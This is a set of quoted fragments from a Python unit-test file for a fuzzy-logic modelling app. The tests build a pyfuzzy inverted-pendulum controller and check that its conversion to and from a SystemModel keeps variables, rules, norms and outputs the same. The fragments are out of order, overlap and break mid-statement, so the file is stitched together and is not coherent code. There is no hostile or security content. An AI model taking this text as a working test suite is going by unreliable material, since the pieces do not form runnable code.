"cog = set.getCOG() except Exception, e: # self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception, e.message, new_set.getCOG) else:",
"new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_sets_only(self): \" should",
"COM = AlgebraicSum() CER = AlgebraicProduct() COG = COG(INF=INF,ACC=ACC,failsafe = 0., segment_size=0.5) from",
"= lambda systme=None: name return var def _mock_systemModel(self): self.system_description = \"System description\" self.system",
"new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def _test_rule(self, rule, new_rule): \"test only",
"system.rules['stop'] = Rule( adjective=a_stop, # it gets its value from here operator=Compound( Max(),",
"_test_defuzzify(self, defuzzify, new_defuzzify): \" test only a given fuzzify \" self.assertIsInstance(new_defuzzify, defuzzify.__class__) params",
"0.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(45.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(0.0)",
"\"\"\"This fuzzy system is to control the inverted pendulum into an upright position",
"overrided the object.__init__) except TypeError: pass for param_name in params: arg = getattr(set,",
"inputvariablemodel_set # inputvariablemodel_set = lambda : None inputvariablemodel_set = mock.Mock() inputvariablemodel_set.all = lambda",
"value from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ),",
"inputvariablemodel_set = mock.Mock() inputvariablemodel_set.all = lambda : self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set = inputvariablemodel_set #",
"segment_size=0.5) acceleration = OutputVariable( defuzzify=COG, description='acceleration', min=-50., max=50., unit='meter per second^2') acceleration.adjectives['left_fast'] =",
"Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ), CER=CER ) return system def test_system_from_pyfuzzy(self):",
"SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if work changing a single rule\" from",
"[ self._named_and_pyfuzzymixin_mock(\"iv%d\" % i) for i in xrange(1,2) ] self.output_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"ov%d\"",
"self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if work changing a single rule\" from fuzzy.Rule import",
"import InputVariable from fuzzy.OutputVariable import OutputVariable from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import",
"_mock_systemModel(self): self.system_description = \"System description\" self.system = SystemModel(description=self.system_description) self.input_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"iv%d\" %",
"for rule_name, rule in system.rules.items(): self.assertIn(rule.adjective, outputs_adjs) def _test_adj(self, adj, new_adj): \" test",
"var.getValue() new_var_value = new_var.getValue() # if var_value != new_var_value: self.assertEquals(new_var_value, var_value) for rule_name,",
"import TestCase from fuzzy_modeling.tests.utils import ResetMock from fuzzy_modeling.models.systems import SystemModel from fuzzy.System import",
"default norms INF = AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() CER =",
"velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2') system.variables['a'] = acceleration acceleration.adjectives['left_fast'] =",
"i in xrange(1,2) ] self.output_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"ov%d\" % i) for i in",
"adjective=a_right_fast, # it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) new_pyfuzzy_system.rules['far right']",
"velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 = input_dict.copy() output_dict1 = { 'a' :",
"Rule( adjective=a_left_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound(",
"a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule import Rule from",
"AlgebraicSum from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon COM = AlgebraicSum() a_stop",
"rule in system.rules.items(): self.assertIn(rule.adjective, outputs_adjs) def _test_adj(self, adj, new_adj): \" test only a",
"inspect.getargspec(defuzzify.__init__).args: if arg != 'self' and arg != 'INF' and arg != 'ACC':",
"system.rules['tilts right'] = Rule( adjective=a_right_slow, # it gets its value from here operator=Compound(",
"ccw if down'] = Rule( adjective=a_left_slow, # it gets its value from here",
"pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for var_name, var in pyfuzzy_system_expected.variables.items(): new_var = new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var,",
"= Adjective(Polygon([(10.,0.),(20.,1.)])) velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second') system.variables['dX_dT'] = velocity velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)]))",
"var.adjectives.items(): outputs_adjs.append(adj) for rule_name, rule in system.rules.items(): self.assertIn(rule.adjective, outputs_adjs) def _test_adj(self, adj, new_adj):",
"new_pyfuzzy_system.rules['far right'] = far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] = 0.0",
"pyfuzzy object \" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self,",
"arg != 'INF' and arg != 'ACC': params.append(arg) # will raise this exception",
"from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] =",
"== 'Input': self._test_adj(operator.adjective, new_operator.adjective) elif operator.__class__.__name__ == 'Not': self._test_operator(operator.input, new_operator.input) op_call = operator()",
"ACC = AlgebraicSum() COM = AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration",
"#: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test",
"rule \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import",
"system.rules['accelerate cw if down'] = Rule( adjective=a_right_slow, # it gets its value from",
"= angle_velocity angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] =",
"AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast",
"Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ),",
"changing a single rule\" from fuzzy.Rule import Rule from fuzzy.operator.Input import Input from",
"rule in self.rules_mock } pyfuzzy_system_expected.rules = rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules)",
"in params: arg = getattr(defuzzify, param_name) new_arg = getattr(new_defuzzify, param_name) self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF,",
"some features of pyfuzzy. This is the reason, it uses different fuzzy norm",
"{ var.name : var.get_pyfuzzy() for var in self.input_variable_mock + self.output_variable_mock } pyfuzzy_system_expected.variables =",
"= Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name = 'a' new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy()",
"in inspect.getargspec(defuzzify.__init__).args: if arg != 'self' and arg != 'INF' and arg !=",
"unit='meter per second^2') acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM)",
"arg = getattr(norm, param_name) new_arg = getattr(new_norm, param_name) self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM,",
"system.variables['X'] = position position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near']",
"import Plain from fuzzy.defuzzify.COG import COG # set defuzzification method and default norms",
"var.min) self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit, var.unit) for adj_name, adj in var.adjectives.items(): new_adj = var.adjectives[adj_name]",
"self.assertEquals(output_dict1['a'], output_dict2['a']) def _test_rules_adj_in_out_adjs(self, system): \"test if all the rules's adj are the",
"return the correct outout when only changing the outputvar to a OutputVariableModel in",
"AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() CER = AlgebraicProduct() COG = COG(INF=INF,ACC=ACC,failsafe",
"= new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def _test_rules_adj_in_out_adjs(self, system):",
"acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective = a_right_fast import math input_dict =",
"= Rule( adjective=a_right_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]),",
"Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name = 'a' new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] = acceleration import math input_dict",
"import fuzzy.System system = fuzzy.System.System(description= \"\"\"This fuzzy system is to control the inverted",
"description\" self.system = SystemModel(description=self.system_description) self.input_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"iv%d\" % i) for i in",
"Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ),",
"self.assertIsInstance(new_fuzzify, fuzzify.__class__) def _test_defuzzify(self, defuzzify, new_defuzzify): \" test only a given fuzzify \"",
"norm, new_norm): \" test only a given norm \" self.assertIsInstance(new_norm, norm.__class__) params =",
"params: arg = getattr(norm, param_name) new_arg = getattr(new_norm, param_name) self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN)",
"self.assertEquals(new_var_value, var_value) for rule_name, rule in pyfuzzy_system_expected.rules.items(): new_rule = new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1,",
"Adjective from fuzzy.set.Polygon import Polygon COM = AlgebraicSum() a_stop = Adjective(Polygon([(-10., 0.), (0.,",
"membership = adj.getMembership() new_membership = new_adj.getMembership() # if membership != new_membership: # import",
"gets its value from here operator=Compound( Max(), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound(",
"only a given set \" self.assertIsInstance(new_set, set.__class__) params = [] try: for arg",
"AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() system_model = SystemModel.from_pyfuzzy(self._createSystem()) output_a = new_pyfuzzy_system.variables[\"a\"]",
"function # (never overrided the object.__init__) except TypeError: pass for param_name in params:",
"adj are the same instance of an output adj\" outputs_adjs = [] for",
"import OutputVariable from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees')",
"return system def test_system_from_pyfuzzy(self): \" shoud return the correct corresponding Model for the",
"= AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] =",
"object with another input\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math input_dict",
"= input_dict.copy() output_dict1 = { 'a' : 0.0 #: acceleration [m/s²] } output_dict2",
"self._test_operator(inp, new_inp) elif operator.__class__.__name__ == 'Const': self.assertEquals(new_operator.value, operator.value) elif operator.__class__.__name__ == 'Input': self._test_adj(operator.adjective,",
"= Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] =",
"SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math input_dict = {} input_dict[\"X\"] = 190.0 #: position [m] input_dict[\"dX_dT\"]",
"overrided the object.__init__) except TypeError: pass for param_name in params: arg = getattr(norm,",
"_test_fuzzify(self, fuzzify, new_fuzzify): \" test only a given fuzzify \" self.assertIsInstance(new_fuzzify, fuzzify.__class__) def",
"self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set = outputvariablemodel_set # mocking rulemodel_set rulemodel_set = mock.Mock() rulemodel_set.all =",
"if hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify) #: output else: self._test_defuzzify(var.defuzzify, new_var.defuzzify) # import pdb;",
"Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)])) position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter')",
"from model\" from fuzzy_modeling.models import RuleModel from fuzzy.Rule import Rule from fuzzy.operator.Input import",
"import Polygon COM = AlgebraicSum() a_stop = Adjective(Polygon([(-10., 0.), (0., 1.), (10., 0.)]),",
"self._test_norm(operator.norm, new_operator.norm) for i_inputs in xrange(0, len(operator.inputs)): inp = operator.inputs[i_inputs] new_inp = new_operator.inputs[i_inputs]",
"per second') system.variables['dPhi_dT'] = angle_velocity angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] =",
"import AlgebraicProduct from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import",
"msg=\"%s != %s in %s\" % (membership, new_membership, adj) ) def _test_set(self, set,",
"from fuzzy.defuzzify.COG import COG pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct()",
"CER=CER ) return system def test_system_from_pyfuzzy(self): \" shoud return the correct corresponding Model",
"from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG from fuzzy.OutputVariable import OutputVariable pyfuzzy_system_expected",
"Adjective(Polygon([(300.,0.),(600.,1.)])) position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] = position position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)]))",
"import Rule from fuzzy.norm.Max import Max #from fuzzy.norm.Min import Min #from fuzzy.norm.BoundedDifference import",
"the outputvar to a OutputVariableModel in th System \" from fuzzy_modeling.models import OutputVariableModel",
"self._test_operator(operator.input, new_operator.input) op_call = operator() new_op_call = new_operator() self.assertEquals( op_call, new_op_call, msg=\"%s !=",
"= { 'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2)",
"a single rule\" from fuzzy.Rule import Rule from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct",
"# mocking rulemodel_set rulemodel_set = mock.Mock() rulemodel_set.all = lambda : self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set",
"from fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem()",
"angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)])) position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] = position position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near']",
"from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER ) system.rules['accelerate cw if down'] = Rule( adjective=a_right_slow, #",
"pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_sets_only(self): \" should return the correct",
"to be an object that has attr name and a get_pyfuzzy that returns",
"var.name : var.get_pyfuzzy() for var in self.input_variable_mock + self.output_variable_mock } pyfuzzy_system_expected.variables = variable_dict",
"Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)])) position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] = position position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)]))",
"mock.Mock() rulemodel_set.all = lambda : self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set = rulemodel_set return self.system def",
"from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG from",
"INF = AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() CER = AlgebraicProduct() COG",
"in system.rules.items(): self.assertIn(rule.adjective, outputs_adjs) def _test_adj(self, adj, new_adj): \" test only a given",
"self._createSystem() a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right = Rule( adjective=a_right_fast, # it gets its value",
"self._createSystem() INF = AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() COG = COG(INF=INF,",
"right'].adjective = a_right_fast import math input_dict = {} input_dict[\"X\"] = 0.0 #: position",
"arg in inspect.getargspec(norm.__init__).args: if arg != 'self': params.append(arg) # will raise this exception",
"pyfuzzy_system_expected.variables = variable_dict rules_dict = { rule.name : rule.get_pyfuzzy() for rule in self.rules_mock",
"import SystemModel as SystemModelOriginal # import pdb; pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set') #",
"adjective=a_left_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(),",
"variable_dict = { var.name : var.get_pyfuzzy() for var in self.input_variable_mock + self.output_variable_mock }",
"shoud return the correct corresponding Model for the pyfuzzy object with another input\"",
"rule, but from model\" from fuzzy_modeling.models import RuleModel from fuzzy.Rule import Rule from",
"var.adjectives.items(): new_adj = var.adjectives[adj_name] self._test_adj(adj, new_adj) #: is input if hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify,",
"outputs_adjs = [] for var_name, var in system.variables.items(): #: is output if not",
"SystemModel.outputvariablemodel_set = outputvariablemodel_set # mocking rulemodel_set rulemodel_set = mock.Mock() rulemodel_set.all = lambda :",
"Input from fuzzy.operator.Not import Not system.rules['stop'] = Rule( adjective=a_stop, # it gets its",
"fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG from fuzzy.OutputVariable",
"AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = OutputVariable( defuzzify=COG, description='acceleration', min=-50.,",
"#: output else: self._test_defuzzify(var.defuzzify, new_var.defuzzify) # import pdb; pdb.set_trace() var_value = var.getValue() new_var_value",
"value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) far_right.name = 'far right' rule_model = RuleModel.from_pyfuzzy(far_right,",
"#: velocity [m/s] input_dict[\"Phi\"] = math.radians(270.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(90.0) #:",
"fuzzy norm in normally symmetrical rules.\"\"\") from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.norm.AlgebraicSum import",
"object.__init__) except TypeError: pass for param_name in params: arg = getattr(defuzzify, param_name) new_arg",
"Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2') system.variables['a']",
"Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER",
"self.assertIsInstance(new_defuzzify, defuzzify.__class__) params = [] try: for arg in inspect.getargspec(defuzzify.__init__).args: if arg !=",
"a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name = 'a' new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] = acceleration import",
"a given rule\" self.assertIsInstance(new_operator, operator.__class__) if operator.__class__.__name__ == 'Compound': self._test_norm(operator.norm, new_operator.norm) for i_inputs",
"X=0. It also is used to demonstrate some features of pyfuzzy. This is",
"{} input_dict[\"X\"] = 0.0 #: position [m] input_dict[\"dX_dT\"] = 0.0 #: velocity [m/s]",
"import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import",
"class SystemModelTest(TestCase, ResetMock): def setUp(self): # self.aluno = mommy.make_one(Aluno) # from fuzzy_modeling.models.systems import",
"pyfuzzy_system_expected = System(self.system_description) variable_dict = { var.name : var.get_pyfuzzy() for var in self.input_variable_mock",
"in xrange(0, len(operator.inputs)): inp = operator.inputs[i_inputs] new_inp = new_operator.inputs[i_inputs] self._test_operator(inp, new_inp) elif operator.__class__.__name__",
"import COG from fuzzy.OutputVariable import OutputVariable pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF",
"= self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct() ACC = AlgebraicSum() COM =",
"# it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) far_right.name = 'far",
"from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from",
"= Rule( adjective=a_left_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Not(",
"in inspect.getargspec(norm.__init__).args: if arg != 'self': params.append(arg) # will raise this exception when",
"AlgebraicSum() a_stop = Adjective(Polygon([(-10., 0.), (0., 1.), (10., 0.)]), COM=COM) a_stop.name = 'stop'",
"and arg != 'INF' and arg != 'ACC': params.append(arg) # will raise this",
"getattr(new_norm, param_name) self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM) def _test_fuzzify(self, fuzzify,",
"self._named_and_pyfuzzymixin_mock(\"iv%d\" % i) for i in xrange(1,2) ] self.output_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"ov%d\" %",
"in xrange(1,2) ] self.output_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"ov%d\" % i) for i in xrange(1,2)",
"= acceleration import math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m]",
"param_name) new_arg = getattr(new_norm, param_name) self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM)",
"position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)])) velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second') system.variables['dX_dT'] = velocity velocity.adjectives['left_fast'] =",
"left'] = Rule( adjective=a_left_slow, # it gets its value from here operator=Compound( AlgebraicProduct(),",
"down'] = Rule( adjective=a_left_slow, # it gets its value from here operator=Compound( AlgebraicProduct(),",
"= far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] = 0.0 #: position",
"self.assertIsInstance(new_set, set.__class__) params = [] try: for arg in inspect.getargspec(set.__init__).args: if arg !=",
"# if membership != new_membership: # import pdb; pdb.set_trace() self.assertEquals( membership, new_membership, msg=\"%s",
"sets to the new instance of same value, and changing the corresponding rule",
"new_pyfuzzy_system = self._createSystem() a_right_fast = new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right = Rule( adjective=a_right_fast, # it gets",
"if down'] = Rule( adjective=a_left_slow, # it gets its value from here operator=Compound(",
"import AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() a_right_fast =",
"a given rule\" self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER, new_rule.CER)",
"self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self): \" should return the correct output when changing all",
"#: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2,",
"adjective \" self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set, new_adj.set) if adj.COM is not None and new_adj.COM",
"= 0., segment_size=0.5) from fuzzy.InputVariable import InputVariable from fuzzy.OutputVariable import OutputVariable from fuzzy.Adjective",
"0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self):",
